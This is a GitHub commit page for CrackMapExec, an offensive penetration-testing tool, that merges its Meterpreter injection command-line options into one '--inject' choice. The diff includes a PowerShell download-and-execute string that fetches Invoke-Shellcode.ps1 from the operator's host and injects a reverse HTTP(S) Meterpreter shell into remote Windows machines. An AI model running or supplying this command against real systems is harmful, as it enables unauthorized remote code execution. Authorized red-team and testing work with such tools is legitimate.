Skip to content
This repository was archived by the owner on Dec 6, 2023. It is now read-only.

Commit e48fc47

Browse files
author
byt3bl33d3r
committed
Consolidated Meterpreter injection options
1 parent cd048ea commit e48fc47

File tree

2 files changed

+11
-14
lines changed

2 files changed

+11
-14
lines changed

README.md

Lines changed: 2 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -107,15 +107,13 @@ Command Execution:
107107
Shellcode/EXE/DLL/Meterpreter Injection:
108108
Options for injecting Shellcode/EXE/DLL/Meterpreter in memory using PowerShell
109109
110-
--inject {shellcode,exe,meterpreter,dll}
110+
--inject {met_reverse_http,met_reverse_https,exe,shellcode,dll}
111111
Inject Shellcode, EXE, DLL or Meterpreter
112112
--path PATH Path to the Shellcode/EXE/DLL you want to inject on the target systems
113113
--procid PROCID Process ID to inject the Shellcode/EXE/DLL/Meterpreter into (if omitted, will inject within the running PowerShell process)
114114
--exeargs EXEARGS Arguments to pass to the EXE being reflectively loaded (ignored if not injecting an EXE)
115-
--met {reverse_https,reverse_http}
116-
Specify the Meterpreter to inject
117115
--met-options LHOST LPORT
118-
Meterpreter options
116+
Meterpreter options (ignored if not injecting Meterpreter)
119117
120118
Filesystem Interaction:
121119
Options for interacting with filesystems

crackmapexec.py

Lines changed: 9 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -2661,11 +2661,11 @@ def ps_command(command=None, katz_ip=None, katz_command='privilege::debug sekurl
26612661

26622662
def inject_pscommand(localip):
26632663

2664-
if args.inject == 'meterpreter':
2664+
if args.inject.startswith('met_'):
26652665
command = """
26662666
IEX (New-Object Net.WebClient).DownloadString('http://{}/Invoke-Shellcode.ps1');
26672667
Invoke-Shellcode -Force -Payload windows/meterpreter/{} -Lhost {} -Lport {}""".format(localip,
2668-
args.met,
2668+
args.inject[4:],
26692669
args.met_options[0],
26702670
args.met_options[1])
26712671
if args.procid:
@@ -3010,12 +3010,11 @@ def concurrency(hosts):
30103010
cgroup.add_argument("-X", metavar="PS_COMMAND", dest='pscommand', help='Excute the specified powershell command')
30113011

30123012
xgroup = parser.add_argument_group("Shellcode/EXE/DLL/Meterpreter Injection", "Options for injecting Shellcode/EXE/DLL/Meterpreter in memory using PowerShell")
3013-
xgroup.add_argument("--inject", choices={'shellcode', 'exe', 'dll', 'meterpreter'}, help='Inject Shellcode, EXE, DLL or Meterpreter')
3013+
xgroup.add_argument("--inject", choices={'shellcode', 'exe', 'dll', 'met_reverse_https', 'met_reverse_http'}, help='Inject Shellcode, EXE, DLL or Meterpreter')
30143014
xgroup.add_argument("--path", type=str, help='Path to the Shellcode/EXE/DLL you want to inject on the target systems')
30153015
xgroup.add_argument('--procid', type=int, help='Process ID to inject the Shellcode/EXE/DLL/Meterpreter into (if omitted, will inject within the running PowerShell process)')
30163016
xgroup.add_argument("--exeargs", type=str, help='Arguments to pass to the EXE being reflectively loaded (ignored if not injecting an EXE)')
3017-
xgroup.add_argument("--met", choices={'reverse_http', 'reverse_https'}, dest='met', help='Specify the Meterpreter to inject')
3018-
xgroup.add_argument("--met-options", nargs=2, metavar=('LHOST', 'LPORT'), dest='met_options', help='Meterpreter options')
3017+
xgroup.add_argument("--met-options", nargs=2, metavar=('LHOST', 'LPORT'), dest='met_options', help='Meterpreter options (ignored if not injecting Meterpreter)')
30193018

30203019
bgroup = parser.add_argument_group("Filesystem Interaction", "Options for interacting with filesystems")
30213020
bgroup.add_argument("--list", metavar='PATH', help='List contents of a directory')
@@ -3036,8 +3035,8 @@ def concurrency(hosts):
30363035
log.setLevel(logging.INFO)
30373036

30383037
if args.inject:
3039-
if args.inject != 'meterpreter':
3040-
if not args.path:
3038+
if not args.inject.startswith('met_'):
3039+
if not args.path:
30413040
print_error("You must specify a '--path' to the Shellcode/EXE/DLL to inject")
30423041
sys.exit(1)
30433042

@@ -3046,9 +3045,9 @@ def concurrency(hosts):
30463045
print_error('Unable to find Shellcode/EXE/DLL at specified path')
30473046
sys.exit(1)
30483047

3049-
elif args.inject == 'meterpreter':
3050-
if not args.met_options or not args.met:
3051-
print_error('You must specify a Meterpreter and it\'s options using \'--met\' and \'--met-options\'' )
3048+
elif args.inject.startswith('met_'):
3049+
if not args.met_options:
3050+
print_error('You must specify Meterpreter\'s options using --met-options' )
30523051
sys.exit(1)
30533052

30543053
if os.path.exists(args.target[0]):

0 commit comments

Comments
 (0)